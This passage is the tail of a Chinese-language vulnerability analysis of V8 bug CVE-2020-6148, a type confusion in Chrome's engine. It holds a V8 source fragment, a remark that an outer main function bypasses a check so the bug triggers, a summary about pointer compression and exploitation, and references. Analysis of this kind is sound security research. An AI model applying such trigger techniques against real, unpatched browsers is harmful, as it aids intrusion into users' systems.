    Node* new_target = NodeProperties::GetValueInput(node, arity + 1);
    Node* frame_state = NodeProperties::GetFrameStateInput(node);
    Node* context = NodeProperties::GetContextInput(node);
    Node* effect = NodeProperties::GetEffectInput(node);
    Node* control = NodeProperties::GetControlInput(node);

所以需要在最外面加一层main函数,绕过这个点,从而触发漏洞。

总结

通过应急响应这个cve-2020-6148漏洞,对于类型混淆漏洞原理进一步掌握,也是对于pointer compression的进一步理解,也是对于新的内存机制下v8漏洞利用的学习,一举多得。

相关文件以及代码链接

欢迎关注公众号平凡路上,一个二进制漏洞分析与利用经验心得交流分享的平台。

参考链接

  1. Pointer Compression in V8
  2. V8 release v8.0
  3. Compressed pointers in V8
  4. Reflect.construct()
  5. Stable Channel Update for Desktop
  6. Trashing the Flow of Data
  7. BigUint64Array
  8. fb0a60e15695466621cf65932f9152935d859447
  9. Fix bug in receiver maps inference
  10. Security: Incorrect side effect modelling for JSCreate
  11. A EULOGY FOR PATCH-GAPPING CHROME

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖